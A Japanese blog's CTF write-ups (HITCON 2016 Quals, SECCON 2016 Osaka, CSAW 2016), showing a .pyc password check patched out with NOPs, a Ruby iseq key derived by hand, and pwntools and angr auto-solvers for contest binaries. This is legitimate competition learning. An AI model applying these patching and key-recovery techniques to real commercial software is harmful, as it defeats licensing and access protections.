ヾノ*>ㅅ<)ノシ帳

ノンジャンルのふりーだむなブログです。

HITCON CTF 2016 Quals Writeup (Reverse: Handcrafted-pyc&ROP)

I participated in HITCON CTF 2016 Quals (2016/10/8-10/9; 48 hours) as a member of Ping-Mic (1 people).

I solved following plobrems in this time:

  • Handcrafted-pyc (Reverse 50 pts.)
  • ROP (Reverse 250 pts.)

My team result is 126th place (350 pts):

f:id:katc:20161010121602p:plain

# Gophers in the Shell めっちゃうけるんですけどww

Here's writeups.

Handcrafted-pyc (Reverse 50 pts.)

decompress.py to convert crackme.py to crackme.pyc:

import marshal, zlib, base64
import imp

b64d = base64.b64decode('eJyNVktv00AQXm/eL0igiaFA01IO4cIVCUGFBBJwqRAckLhEIQmtRfPwI0QIeio/hRO/hJ/CiStH2M/prj07diGRP43Hs9+MZ2fWMxbnP6mux+oK9xVMHPFViLdCTB0xkeKDFEFfTIU4E8KZq8dCvB4UlN3hGEsdddXU9QTLv1eFiGKGM4cKUgsFCNLFH7dFrS9poayFYmIZm1b0gyqxMOwJaU3r6xs9sW1ooakXuRv+un7Q0sIlLVzOCZq/XtsK2oTSYaZlStogXi1HV0iazoN2CV2HZeXqRQ54TlJRb7FUlKyUatISsdzo+P7UU1Gb1POdMruckepGwk9tIXQTftz2yBaT5JQovWvpSa6poJPuqgao+b9l5Aj/R+mLQIP4f6Q8Vb3g/5TB/TJxWGdZr9EQrmn99fwKtTvAZGU7wzS7GNpZpDm2JgCrr8wrmPoo54UqGampFIeS9ojXjc4E2yI06bq/4DRoUAc0nVnng4k6p7Ks0+j/S8z9V+NZ5dhmrJUM/y7JTJeRtnJ2TSYJvsFq3CQt/vnfqmQXt5KlpuRcIvDAmhnn2E0t9BJ3SvB/SfLWhuOWNiNVZ+h28g4wlwUp00w95si43rZ3r6+fUIEdgOZbQAsyFRRvBR6dla8KCzRdslar7WS+a5HFb39peIAmG7uZTHVm17Czxju4m6bayz8e7J40DzqM0jr0bmv9PmPvk6y5z57HU8wdTDHeiUJvBMAM4+0CpoAZ4BPgJeAYEAHmgAUgAHiAj4AVAGORtwd4AVgC3gEmgBBwCPgMWANOAQ8AbwBHgHuAp4D3gLuARwoGmNUizF/j4yDC5BWM1kNvvlxFA8xikRrBxHIUhutFMBlgQoshhPphGAXe/OggKqqb2cibxwuEXjUcQjccxi5eFRL1fDSbKrUhy2CMb2aLyepkegDWsBwPlrVC0/kLHmeCBQ==')
zd = zlib.decompress(b64d)
# open("marshal", "wb").write(zd)
ml = marshal.loads(zd)

with open('crackme.pyc','wb') as f:
    f.write(imp.get_magic() + b'\0' * 4 + zd)

disasm.py to disassemble:

# orig. http://nedbatchelder.com/blog/200804/the_structure_of_pyc_files.html
import dis, marshal, struct, sys, time, types

def show_file(fname):
    f = open(fname, "rb")
    magic = f.read(4)
    moddate = f.read(4)
    modtime = time.asctime(time.localtime(struct.unpack('I', moddate)[0]))
    print "magic %s" % (magic.encode('hex'))
    print "moddate %s (%s)" % (moddate.encode('hex'), modtime)
    code = marshal.load(f)
    show_code(code)
    
def show_code(code, indent=''):
    print "%scode" % indent
    indent += '   '
    print "%sargcount %d" % (indent, code.co_argcount)
    print "%snlocals %d" % (indent, code.co_nlocals)
    print "%sstacksize %d" % (indent, code.co_stacksize)
    print "%sflags %04x" % (indent, code.co_flags)
    show_hex("code", code.co_code, indent=indent)
    dis.disassemble(code)
    print "%sconsts" % indent
    for const in code.co_consts:
        if type(const) == types.CodeType:
            show_code(const, indent+'   ')
        else:
            print "   %s%r" % (indent, const)
    print "%snames %r" % (indent, code.co_names)
    print "%svarnames %r" % (indent, code.co_varnames)
    print "%sfreevars %r" % (indent, code.co_freevars)
    print "%scellvars %r" % (indent, code.co_cellvars)
    print "%sfilename %r" % (indent, code.co_filename)
    print "%sname %r" % (indent, code.co_name)
    print "%sfirstlineno %d" % (indent, code.co_firstlineno)
    show_hex("lnotab", code.co_lnotab, indent=indent)
    
def show_hex(label, h, indent):
    h = h.encode('hex')
    if len(h) < 60:
        print "%s%s %s" % (indent, label, h)
    else:
        print "%s%s" % (indent, label)
        for i in range(0, len(h), 60):
            print "%s   %s" % (indent, h[i:i+60])

show_file(sys.argv[1])

I found that password check routine can be bypassed by binary patching.

magic 03f30d0a
moddate 00000000 (Thu Jan  1 09:00:00 1970)
code
   argcount 0
   nlocals 0

... snipped ...
    
            737 LOAD_CONST               0 (None)
            740 NOP                 
            741 JUMP_ABSOLUTE          759
        >>  744 LOAD_GLOBAL              1 (raw_input)
            747 JUMP_ABSOLUTE         1480
        >>  750 LOAD_FAST                0 (password)
            753 COMPARE_OP               2 (==)
            756 JUMP_ABSOLUTE          767
        >>  759 ROT_TWO             
            760 STORE_FAST               0 (password)
            763 POP_TOP             
            764 JUMP_ABSOLUTE          744
        >>  767 POP_JUMP_IF_FALSE     1591
            770 LOAD_GLOBAL              0 (chr)
            773 LOAD_CONST              17 (99)

... snipped ...

So I replaced POP_JUMP_IF_FALSE 1591@767 to NOPs. We can check opecodes at CPython's opcode.h.

  • Bytecode of POP_JUMP_IF_FALSE 1591 is 114 (\x72).
  • Bytecode of 1591(0x637) is \x37\x06 (little endian).
  • Bytecode of NOP is 9 (\x09).

So replace 72 37 06 with 09 09 09 in crackme.pyc in my binary editor. I saved patched binary as crackme.patched.pyc.

binary patching

Finally, I got flag:

% python2 crackme.patched.pyc
password: bypassed
hitcon{Now you can compile and run Python bytecode in your brain!

flag = hitcon{Now you can compile and run Python bytecode in your brain!

ROP (Reverse 250 pts.)

Who doesn't like ROP? Let's try some new features introduced in 2.3.

First, I googled "iseq 2.3". I found that iseq is Ruby 2.3's feature and it is compiled by its Class: RubyVM::InstructionSequence. Second, i wrote this scripts to disassemble/run iseq file.

ROP.rb:

require 'iseq'

data = File.read('rop.iseq')
# data = Marshal.dump seq
# seq_loaded = Marshal.load data
# data = data.unpack("C*")
# puts data.class
new_iseq = RubyVM::InstructionSequence.load_from_binary data

if ARGV[0] == "disasm" then
    puts new_iseq.disasm
else
    new_iseq.eval
end

rop.sh:

#!/bin/sh
ruby ROP.rb

to disassemble: ruby ROP.rb disasm > ROP.disasm to run: ./rop.sh

Third, I hand decompiled iseq like following lines:

for main() ?:

0054 getglobal        $stdin
0056 opt_send_without_block <callinfo!mid:gets, argc:0, ARGS_SIMPLE>, <callcache>

line = gets(0)

0059 opt_send_without_block <callinfo!mid:chomp, argc:0, ARGS_SIMPLE>, <callcache>
0062 setlocal_OP__WC__0 3
0064 trace            1                                               (  39)
0066 getlocal_OP__WC__0 3
0068 putstring        "-"
0070 opt_send_without_block <callinfo!mid:split, argc:1, ARGS_SIMPLE>, <callcache>
0073 setlocal_OP__WC__0 2 # check
0075 trace            1                                               (  40)

check = line.split('-')

0077 getlocal_OP__WC__0 2
0079 opt_size         <callinfo!mid:size, argc:0, ARGS_SIMPLE>, <callcache>
0082 putobject        5
0084 opt_eq           <callinfo!mid:==, argc:1, ARGS_SIMPLE>, <callcache>
0087 branchif         94

if (size(check) == 5) {
    // at 94
}
else {
    gg() #game over
}

0094 trace            1                                               (  41)
0096 getlocal_OP__WC__0 2
0098 send             <callinfo!mid:all?, argc:0>, <callcache>, block in <compiled>

    == disasm: #<ISeq:block in <compiled>@<compiled>>=======================
    == catch table
    | catch type: redo   st: 0002 ed: 0011 sp: 0000 cont: 0002
    | catch type: next   st: 0002 ed: 0011 sp: 0000 cont: 0011
    |------------------------------------------------------------------------
    local table (size: 2, argc: 1 [opts: 0, rest: -1, post: 0, block: -1, kw: -1@-1, kwrest: -1])
    [ 2] x<Arg>     
    0000 trace            256                                             (  41)
    0002 trace            1
    0004 getlocal_OP__WC__0 2
    0006 putobject        /^[0-9A-F]{4}$/
    0008 opt_regexpmatch2 <callinfo!mid:=~, argc:1, ARGS_SIMPLE>, <callcache>
    0011 trace            512
    0013 leave     

0102 branchif         109

check.all?{|item| item ~= /^[0-9A-F]{4}$/} 

0109 trace            1                                               (  42)
0111 getlocal_OP__WC__0 2
0113 putobject_OP_INT2FIX_O_0_C_  # 0
0114 opt_aref         <callinfo!mid:[], argc:1, ARGS_SIMPLE>, <callcache>
0117 putobject        16
0119 opt_send_without_block <callinfo!mid:to_i, argc:1, ARGS_SIMPLE>, <callcache> # base=16
0122 putobject        31337
0124 opt_eq           <callinfo!mid:==, argc:1, ARGS_SIMPLE>, <callcache>
0127 branchif         134

if (check[0].to_i(16) == 31337) {
    // at 134
}   
else {
    gg()
}

0136 getlocal_OP__WC__0 2
0138 putobject_OP_INT2FIX_O_1_C_  # 1
0139 opt_aref         <callinfo!mid:[], argc:1, ARGS_SIMPLE>, <callcache>
0142 opt_send_without_block <callinfo!mid:reverse, argc:0, ARGS_SIMPLE>, <callcache>
0145 putstring        "FACE"
0147 opt_eq           <callinfo!mid:==, argc:1, ARGS_SIMPLE>, <callcache>
0150 branchif         157

if (check[1].reverse == "FACE") {
    // at 157
}
else {
    gg()
}

0157 trace            1                                               (  44)
0159 putself          
0160 putobject        217  # a := 217
0162 getlocal_OP__WC__0 2
0164 putobject        2
0166 opt_aref         <callinfo!mid:[], argc:1, ARGS_SIMPLE>, <callcache>
0169 putobject        16 
0171 opt_send_without_block <callinfo!mid:to_i, argc:1, ARGS_SIMPLE>, <callcache> # b := check[2].to_i(16)
0174 putobject        314159 # m := 314159
0176 opt_send_without_block <callinfo!mid:f, argc:3, FCALL|ARGS_SIMPLE>, <callcache> 

0179 putobject        28 # base=28
0181 opt_send_without_block <callinfo!mid:to_s, argc:1, ARGS_SIMPLE>, <callcache>
0184 opt_send_without_block <callinfo!mid:upcase, argc:0, ARGS_SIMPLE>, <callcache>
0187 putstring        "48D5"
0189 opt_eq           <callinfo!mid:==, argc:1, ARGS_SIMPLE>, <callcache>
0192 branchif         199

if (f(217, check[2].to_i(16), 314159).to_s(28).upcase == "48D5") {
    // at 199
}
else {
    gg()
}

>>> 0x48D5
18645

0201 getlocal_OP__WC__0 2
0203 putobject        3
0205 opt_aref         <callinfo!mid:[], argc:1, ARGS_SIMPLE>, <callcache>
0208 putobject        10 
0210 opt_send_without_block <callinfo!mid:to_i, argc:1, ARGS_SIMPLE>, <callcache> # base=10
0213 opt_send_without_block <callinfo!mid:prime_division, argc:0, ARGS_SIMPLE>, <callcache>
0216 putobject        :first # n.prime_division no first-item
0218 send             <callinfo!mid:map, argc:0, ARGS_BLOCKARG>, <callcache>, nil
0222 opt_send_without_block <callinfo!mid:sort, argc:0, ARGS_SIMPLE>, <callcache>
0225 duparray         [53, 97]
0227 opt_eq           <callinfo!mid:==, argc:1, ARGS_SIMPLE>, <callcache>
0230 branchif         237

if (Prime.first(check[3]) == [53,97]) { // check[3] = 53 * 97 = 5141
    // at 237
}
else {
    gg()
}

0239 getlocal_OP__WC__0 2 # xs
0241 send             <callinfo!mid:map, argc:0>, <callcache>, block in <compiled>  map

    == disasm: #<ISeq:block in <compiled>@<compiled>>=======================
    == catch table
    | catch type: redo   st: 0002 ed: 0011 sp: 0000 cont: 0002
    | catch type: next   st: 0002 ed: 0011 sp: 0000 cont: 0011
    |------------------------------------------------------------------------
    local table (size: 2, argc: 1 [opts: 0, rest: -1, post: 0, block: -1, kw: -1@-1, kwrest: -1])
    [ 2] x<Arg>     
    0000 trace            256                                             (  46)
    0002 trace            1
    0004 getlocal_OP__WC__0 2
    0006 putobject        16
    0008 opt_send_without_block <callinfo!mid:to_i, argc:1, ARGS_SIMPLE>, <callcache>
    0011 trace            512
    0013 leave  

0245 putobject        :^
0247 opt_send_without_block <callinfo!mid:inject, argc:1, ARGS_SIMPLE>, <callcache> xs.inject(:^)
0250 opt_send_without_block <callinfo!mid:to_s, argc:0, ARGS_SIMPLE>, <callcache>
0253 opt_send_without_block <callinfo!mid:sha1, argc:0, ARGS_SIMPLE>, <callcache>
0256 putstring        "947d46f8060d9d7025cc5807ab9bf1b3b9143304"
0258 opt_eq           <callinfo!mid:==, argc:1, ARGS_SIMPLE>, <callcache>
0261 branchif         268

// http://sha1.gromweb.com/?hash=947d46f8060d9d7025cc5807ab9bf1b3b9143304
// sha1("5671") = "947d46f8060d9d7025cc5807ab9bf1b3b9143304"
if (sha1(check.map{|item| item.to_i(16)}.inject(:^)) == "947d46f8060d9d7025cc5807ab9bf1b3b9143304") { 
    // congratz
}

for f():

== disasm: #<ISeq:f@<compiled>>=========================================
== catch table
| catch type: break  st: 0021 ed: 0086 sp: 0000 cont: 0086
| catch type: next   st: 0021 ed: 0086 sp: 0000 cont: 0018
| catch type: redo   st: 0021 ed: 0086 sp: 0000 cont: 0021
|------------------------------------------------------------------------
local table (size: 6, argc: 3 [opts: 0, rest: -1, post: 0, block: -1, kw: -1@-1, kwrest: -1])
[ 6] a<Arg>     [ 5] b<Arg>     [ 4] m<Arg>     [ 3] s          [ 2] r          
0000 trace            8                                               (  27)
0002 trace            1                                               (  28)
0004 putobject_OP_INT2FIX_O_1_C_ # 1
0005 setlocal_OP__WC__0 3 <s> 

s = 1

0007 trace            1                                               (  29)
0009 getlocal_OP__WC__0 6 <a>
0011 setlocal_OP__WC__0 2 <r>

r = a

0013 trace            1                                               (  30)
0015 jump             75
0017 putnil           
0018 pop              
0019 jump             75

0075 getlocal_OP__WC__0 5   <b>                                          (  30)
0077 putobject_OP_INT2FIX_O_0_C_  # 0
0078 opt_neq          <callinfo!mid:!=, argc:1, ARGS_SIMPLE>, <callcache>, <callinfo!mid:==, argc:1, ARGS_SIMPLE>, <callcache>
0083 branchif         21

if (b != 0) {
    // at 21
}
else {
    return s 
}

0021 trace            1                                               (  31)
0023 getlocal_OP__WC__0 5 <b>
0025 putobject_OP_INT2FIX_O_0_C_ # = 0
0026 opt_aref         <callinfo!mid:[], argc:1, ARGS_SIMPLE>, <callcache> # b[0]
0029 putobject_OP_INT2FIX_O_1_C_ # = 1
0030 opt_eq           <callinfo!mid:==, argc:1, ARGS_SIMPLE>, <callcache>
0033 branchunless     49

if (b[0] != 1) {
    // at 49
}

0035 getlocal_OP__WC__0 3 <s>
0037 getlocal_OP__WC__0 2 <r>
0039 opt_mult         <callinfo!mid:*, argc:1, ARGS_SIMPLE>, <callcache>
0042 getlocal_OP__WC__0 4 <m>
0044 opt_mod          <callinfo!mid:%, argc:1, ARGS_SIMPLE>, <callcache>
0047 setlocal_OP__WC__0 3 <s>

s = s * r % m

0049 trace            1                                               (  32)
0051 getlocal_OP__WC__0 5 <b>
0053 putobject_OP_INT2FIX_O_1_C_ # = 1
0054 opt_send_without_block <callinfo!mid:>>, argc:1, ARGS_SIMPLE>, <callcache>
0057 setlocal_OP__WC__0 5 <b>

b = b >> 1

0059 trace            1                                               (  33)
0061 getlocal_OP__WC__0 2 <r>
0063 getlocal_OP__WC__0 2 <r>
0065 opt_mult         <callinfo!mid:*, argc:1, ARGS_SIMPLE>, <callcache>
0068 getlocal_OP__WC__0 4 <m>
0070 opt_mod          <callinfo!mid:%, argc:1, ARGS_SIMPLE>, <callcache>
0073 setlocal_OP__WC__0 2 <r>

r = r * r % m

0075 getlocal_OP__WC__0 5   <b>                                          (  30)
0077 putobject_OP_INT2FIX_O_0_C_  # 0
0078 opt_neq          <callinfo!mid:!=, argc:1, ARGS_SIMPLE>, <callcache>, <callinfo!mid:==, argc:1, ARGS_SIMPLE>, <callcache>
0083 branchif         21

if (b != 0) { // b = 16, 8, 4, 2, 1, 0
    // at 21
}
else {
    return s 
}

----

0085 putnil           
0086 pop              
0087 trace            1                                               (  35)
0089 getlocal_OP__WC__0 3 <s> return s 
0091 trace            16                                              (  36)
0093 leave                   

to get check[2], check[4] (xs[2], x[4]), i wrote f.rb and final.rb:

f.rb:

def f(a, b, m)
    s = 1
    r = a
    while b != 0 do
        if b[0] == 1 then
            s = s * r % m
        end
        b = b >> 1
        r = r * r % m
    end
    return s
end

(1..314159).each{|i|
    if f(217, i, 314159).to_s(28).upcase == "48D5" then
        puts "found"
        puts i.to_s(16) # hex(i)
    end
}

"""result
% ruby f.rb
found
1bd2
"""

final.rb:

require 'iseq'

xs = [31337.to_s(16), "FACE".reverse, "1bd2", "5141"]

# puts RubyVM::InstructionSequence.compile("puts xs.map{|item| item.inject(:^)}.to_s").disasm()

# a ^ b ^ c ^ d ^ x = e 
# x = e ^ (a ^ b ^ c ^ d)
result = xs.map{|item| item.to_i(16)}.inject(:^)
final = (result ^ 5671).to_s(16)

key = (xs + [final]).join('-').upcase
puts key

puts (xs + [final]).map{|item| item.to_i(16)}.inject(:^)

p IO.popen("./run.sh", "r+") {|io|
    io.puts key
    io.close_write
    io.gets
}

Finally, i got flag:

% ruby final.rb
7A69-ECAF-1BD2-5141-CA72
5671
"Congratz! flag is hitcon{ROP = Ruby Obsecured Programming ^_<}\n"

flag = hitcon{ROP = Ruby Obsecured Programming ^_<}


This CTF was good for me ^_^ Thanks!

SECCON2016 大阪大会(アツマレバイナリアン)ひとり反省会

アツマレトモリナオということで友利奈緒ちゃんたちと「イーグルジャンプ」というチームで出場しました。

メンバー:

  • ぴんく (@PINKSAWTOOTH)
  • たけまる (@tkmru)
  • しゅうすい (@syusui_s)

結果は、

結果はたぶん8位 自分は全然だめだった・・・ 自動化まで完成させて点を取ってくれたチームメイトに感謝。

SECCON2016 大阪大会参加してきた・・・(だめ) - Twitterに書ききれないこと

圧倒的実装力不足!(普段pythonを書かなすぎている…><)
自動化して得点を入れ始めたのが終了40分前だったので、submitできたのは800点くらい。
# 競技時間は3時間

チームメイトの参加記はこちら:

pinksawtooth.hatenablog.com

問題構成

reversing、pwnの2種類×難易度で2種類の4種類。フラグ1つ100点。

resersingパートはbackdoorをモチーフにした問題。特定の入力をするとサーバーがフラグを教えてくれる。 pwnパートはほぼやってないので説明を省略する。

難易度が低い方は、5分に1回バイナリとフラグが変わる。 難易度が高い方は、1秒に1回バイナリとフラグが変わる。 1秒以内に解かないといけないというけではなく、コネクションが維持できている一定時間内であればサーバーに入力を与えることができる。

解いた問題

backdoor (easy)

概要

ぴんくと一緒に解析した。
入力文字列の後ろから1文字ずつxorしてgood_knownと比較しているだけ

(ここで例に挙げるバイナリのmd5sumは242cecd67fc91dc1457c045d23e5baa9

00000000004001b0         lea        rdi, qword [ss:rbp-0xb]
00000000004001b4         push       0xb
00000000004001b6         push       rdi
00000000004001b7         push       0x0
00000000004001b9         call       sub_400239
00000000004001be         add        rsp, 0x18
00000000004001c2         mov        ecx, 0xb
00000000004001c7         lea        rdi, qword [ss:rbp-0xb]
00000000004001cb         movabs     rsi, 0x400212

                                       ; Basic Block Registers Used: rcx rsi rdi - Defined: rax rbx rip CPAZSO - Killed: <nothing> - LiveIn: rcx rsp rbp rsi rdi - LiveOut: rcx rsp rbp rsi rdi rip - AvailIn: rax rcx rip CPAZSO - AvailOut: rax rcx rbx rip CPAZSO
00000000004001d5         mov        al, byte [ds:rdi+rcx-1]                     ; XREF=EntryPoint+89
00000000004001d9         mov        bl, byte [ds:rsi+rcx-1]
00000000004001dd         xor        al, 0x5a
00000000004001df         cmp        al, bl
00000000004001e1         jne        0x4001f4
0000000000400212         db  0xc7 ; '.'                                         ; XREF=EntryPoint+62
0000000000400213         db  0xc9 ; '.'
0000000000400214         db  0x4a ; 'J'
0000000000400215         db  0x5f ; '_'
0000000000400216         db  0xa0 ; '.'
0000000000400217         db  0x28 ; '('
0000000000400218         db  0xb2 ; '.'
0000000000400219         db  0x61 ; 'a'
000000000040021a         db  0x97 ; '.'
000000000040021b         db  0x23 ; '#'
000000000040021c         db  0xab ; '.'

結果だけ書くと、rsigood_knownecxに文字列長、rdiにユーザー入力が入るのでreversing技術とobjdumpゴリ押しで自動化可能と分かった。

できた自動回答プログラム

backdoor.py:

from pwn import *
from hexdump import hexdump
import os
import hashlib
import re
import base64

r = remote("10.0.1.2", 10000)
# r.sendline("")
data = r.recvrepeat(1).split('\n')
info = data[0]
print info
binary_b64 = data[1].split(':')[1]
# print binary_b64
binary = binary_b64.decode("base64")
hexdump(binary)

file_name = hashlib.md5(binary).hexdigest()
log.info(file_name)
with open(file_name, 'wb') as f:
    f.write(binary)
os.system("chmod +x " + file_name)

proc = subprocess.Popen(["./find.sh", file_name], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
out, _ = proc.communicate()
print out
good_known = int(out, 16)
print "good_known = %#x" % good_known

proc = subprocess.Popen(["./xor.sh", file_name], stderr=subprocess.PIPE, stdout=subprocess.PIPE)
out, _ = proc.communicate()
print "xor out = %r" % out
xor_key = int(out, 16)
print "xor key = %x" % xor_key

proc = subprocess.Popen(["./length.sh", file_name], stderr=subprocess.PIPE, stdout=subprocess.PIPE)
out, err = proc.communicate()
length = int(out.split('\n',)[0], 16)
print "length = %x" % length

_from = good_known & 0xfff
print "offset = %#x" % _from
lbinary = list(binary)
print "good_known = " + str(lbinary[_from:_from+length])
good_known = lbinary[_from:_from+length]

import string

flag = ""
# good_known = "\xa5\x59\x2e\x80\x0a\x19\xfc\x33\x5b"

# ↓ xorしてるから同じ手順で平文を得られるのになんで全探索してるんですかねぇ…
length = len(good_known) # ←はじめに文字列長をベタ書きしていて、手動で解こうとしてたぴんくの時間を無駄にしてしまった
for i in reversed(range(length)):
    # for c in string.printable: # ←誤った思い込み良くない
    for c in range(256):
        # al = ord(c)
        al = c
        bl = ord(good_known[i])
        if al ^ xor_key == bl:
            flag = chr(c) + flag
            # print "%r" % flag  
            break

if len(flag) == length:
    print "flag = %r" % flag
else:
    print "[!] incorrect flag. exit"
    exit()

payload = base64.b64encode(flag+'\n')

r.sendline(payload)
flag_output = r.recvrepeat(1)
FLAG = flag_output.split(':')[1]

rs = remote('10.0.1.1', 10000)
rs.sendline("EagleJump " + FLAG)
print rs.recvrepeat(1)

# r.interactive()

find.sh:

#!/bin/sh
objdump -Mintel  -d $1 | grep -B 2 "mov    al,BYTE" | head -n 1 | awk -F, '{print $2}'

# objdump -Mintelと書くことの重要性!(alias対策)

xor.sh:

#!/bin/sh
objdump -Mintel -d $1 | egrep "xor" | awk -F, '{print $2}'

length.sh:

#!/bin/sh
objdump -Mintel -d $1 | egrep "mov    ecx" | awk -F, '{print $2}'

backdoor (hard) ※本番では解けていない

(敗因)secretがstringsで引っかかるのに気づかなかった&angr.pyというファイル名を付けて自爆

方針:

  • strings -txでsecretのアドレスを調べる
  • objdumpとgrepをゴリ押しして、secretを文字列として格納しているBasic Blockを探す
    • 正確にはangrに渡すfindのアドレスはBasic Blockの先頭アドレスでもないが、exploreでは問題にならない
import logging
logging.basicConfig(level=logging.ERROR)
import angr
import subprocess
import os, sys

def main(BIN):
    # BIN = "30506f9aa41ca3067d7568539a7267e8"
    with open('find_secret.sh', 'w') as f:
        f.write("""
    str_addr=`strings -tx $1 | grep secret | egrep -o "[0-9]+"`
    objdump -Mintel -d $1 | grep 0x400${str_addr} | awk -F: '{print $1}' | tr -d ' '
            """)
    p = angr.Project(BIN, load_options={'auto_load_libs': False})

    proc = subprocess.Popen(["bash", "find_secret.sh", BIN], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
    out, _ = proc.communicate()
    find_addr = int(out, 16)

    print "[*] find address = %#x" % find_addr

    initial_state = p.factory.entry_state()
    pg = p.factory.path_group(initial_state)
    ex = pg.explore(find=(find_addr))

    if len(ex.found):
        INPUT = ex.found[0].state.posix.dumps(0) # dump stdin
        print "[*] found: %r" % INPUT 
        print "[*] self check"
        with open("secret", 'w') as f:
            content = "this_is_secret"
            print "[*] content of secret is '%s'" % content
            f.write(content)
        os.system("python2 -c \"print('%s')\" | ./%s" % (INPUT, BIN))
    else:
        print "[!] not found"
    print ""

if __name__ == '__main__':
    if len(sys.argv) != 2:
        print "usage: %s binary_file" % sys.argv[0]
        exit()
    main(sys.argv[1])

実行例:

% time python2 backdoor2-angr.py 30506f9aa41ca3067d7568539a7267e8
[*] find address = 0x400271
[*] found: '\xacD\xd5.c:\xd0\xe5'
[*] self check
[*] content of secret is 'this_is_secret'
this_is_secret
python2 backdoor2-angr.py 30506f9aa41ca3067d7568539a7267e8  8.21s user 0.16s system 99% cpu 8.395 total

感想

  • 問題は面白かった。簡単だが、問題がコロコロ変わるの最高ー!

よかったこと

とあるプロにとっては当たり前なのかもしれないけど

  • 競技説明中に、落としてきたバイナリを保存するプログラムを書いておけた
  • pwntoolsでサーバーとやり取りするという安定の方法をとれた
  • バイナリの名前をmd5のsum値で保存することで、ファイルを受け渡すことなく一緒になって同じバイナリを解析することが容易だった
    • 同じタイミングでバイナリを落とせば、md5が一致することを根拠に同じバイナリを落とせたことを確認できる
  • 大会前にangrを入門できた(のに…)

反省点(やらかし列伝)

無能ミス連発

  • Hopperからでangrを動かせるプラグインを事前に作ったものの、正答の入力が印字可能文字の範囲内という制約式を付けてしまっていたため、angrで簡単には解けないとミスジャッジ
    • 実際には簡単に解ける(gif)
  • angrで解くpythonスクリプトを書いたが、ファイル名をangr.pyにして、スクリプト内のimport angrで自分をimportさせる馬鹿をした
    • これをチームメイトのぴんくもやっていた
    • 数日潰してまでめっちゃangrに入門したのに〜ぃ
  • 普段、objdump -Mintelobjdumpにaliasしていて、スクリプトobjdumpと読んでもintel記法にはならない→grepで期待したアセンブリが引っかからない
  • pythonで配列のスライスはarr[from:to]というように、開始から終了までのインデックスを指定するものなのに、arr[offset:length]というようなオフセットから数文字とると勘違いしていた
  • シェルスクリプトで解析対象のファイル名を引数で取るつもりが、ファイル名をベタ書きしていて時間を無駄にした
  • HopperやIDA Proの解析ミスり気味だった。それで粘るのではなく、objdumpやstringsゴリ押しで効率よく解析すべきだったか?(grep xorとか?)
  • xorで全探索で求めてるの無能気味では

学んだこと

  • pythonスクリプトを、そこでimportするモジュールと同じ名前にしてはならない
  • シェルでバイナリから特定の情報を取るなど複雑なことをしたいときは、シェルスクリプトで作っておくとチェックとコーディングが楽(今回でいうとfind.sh, xor.sh, length.sh) or 小学生に煽られてでもpythonでcommands(python2のみ)のようなモジュールを使うとよい
  • pwntoolsのような特殊なモジュールを使うと他のチームメイトが実行できない可能性がある or 事前にチームメイト間の環境を揃える
  • aliasを普段のシェルで無効化したほうが事故を防げそう
  • grep-A-Bオプションクソ便利
  • カレントディレクトリにangr.pyangr.pycというファイルがあると、import angrに無言の死を遂げる

おまけ

本番1週間前ぐらいに、angrで解いてくれるHopper Script書きました。
Ping-Micのtool置き場(GitHub)に上げてあります。

Hopperでbackdoor(hard)を秒殺(?)してみた

youtu.be

他の人にひとこと

angrの出力を見て、成功したか成功しなかったのかを判断するのはangrの流儀に反してると思います。(確かにそれでも解けますけど…)
PathGroup.explore()でfindを指定しない、State.add_constrains()しないでdeadendするまで動かしてその時の標準出力を見るのは探索効率が非常に悪いです。


あんだけ本番でガンガンangr使えるように練習したのに、ファイル名が原因でangr使えなかったのは、本当に勝機を逃しすぎてる…
angr.pyというファイル名はダメ、絶対!

CSAW CTF 2016 Quals - deedeedee (Rev150) writeup

2016/10/17〜18の2日間開催されたCSAW CTF 16 Qualsに参加しました。 結果はやる気を疑われるレベルの点数でしたが、本番が終わった今日はinterestingな問題を解き直していました。 今回は執筆時点で運営以外のwriteupが上がってない deedeedee (Reversing 150 pts.) という問題のWriteupを書きます。

おことわり:僕はD言語もconstexprもよく知りません。基本feelingで読みました><

問題

Wow! I can run code at compile time! That's a pretty cool way to keep my flags secret. Hopefully I didn't leave any clues behind...

配布ファイルなど

Your hexencoded, encrypted flag is: 676c60677a74326d716c6074325f6c6575347172316773616c6d686e665f68735e6773385e345e3377657379316e327d
I generated it at compile time. :)
Can you decrypt it for me?

第一印象

  • ユーザー入力の余地がない
    • angrとかの出番はまず無さそう
  • flagがバイナリに無く、encryptはコンパイル時計算によるもの
    • よく見るとencryptされた文字列っぽいものはある(当然)
  • コンパイル時計算といえはc++
    • 実際はD言語のtempleteとかmixin

→無理ゲーでは?

方針

CTFの問題は、ブルートフォースが必要だとしても、必ず開催期間内に解けるようになっているので、 ちゃんとバイナリを読んだ上で負いきれない部分をブルートフォースするようにしますかね。 enrypt()がどのようにされたのかというヒントがバイナリに残っていないと解けないと思うので、 バイナリに残っている関数を丁寧に見たほうが良さそうです。

あと、最初はc++で書かれてるのかな(例のconstexpr?)と思いましたが、運営のgitリポジトリを見る限りD言語で書かれてますねソースコードと思考過程が全く辿れないwriteupが公開されてるので解析の手がかりに使いたいと思います。

以下、readelf -hです。

% reedelf -h deedeedee
ELF ヘッダ:
  マジック:  7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 
  クラス:                            ELF64
  データ:                            2 の補数、リトルエンディアン
  バージョン:                        1 (current)
  OS/ABI:                            UNIX - System V
  ABI バージョン:                    0
  型:                                EXEC (実行可能ファイル)
  マシン:                            Advanced Micro Devices X86-64
  バージョン:                        0x1
  エントリポイントアドレス:          0x44ccf0
  プログラムの開始ヘッダ:            64 (バイト)
  セクションヘッダ始点:              850408 (バイト)
  フラグ:                            0x0
  このヘッダのサイズ:                64 (バイト)
  プログラムヘッダサイズ:            56 (バイト)
  プログラムヘッダ数:                10
  セクションヘッダ:                  64 (バイト)
  セクションヘッダサイズ:            34
  セクションヘッダ文字列表索引:      31

はい、x86_64〜😇

解析ヾノ*>ㅅ<)ノシ

IDA Proを持っているほど強いチームでもないし、かと言ってobjdump+Sublime Text+readelf+grepでは太刀打ちできる量ではないです。 仕方ないので、今日Hopper v3を買いました。 そこそこいい線いってるデコンパイラが付いてます(実は数日前からデモ版で試していました)。 アセンブリの画面では引数を格納している命令の横にそうと分かるようなコメントがつくのもいい感じです。

(割と丁寧に書きます。あと、割とreadelfをゴリ押しします)

main関数は、Your hexencoded, encrypted flag is が出る関数を探せばいいです。 今回は Dmain というラベルがついていました。
(解いた後にスクショを撮ったので、書き込みがある点はご了承くだされ)
# 一般にD言語のmain関数には _Dmain というシンボルがつくのかな?

f:id:katc:20160919234323p:plain

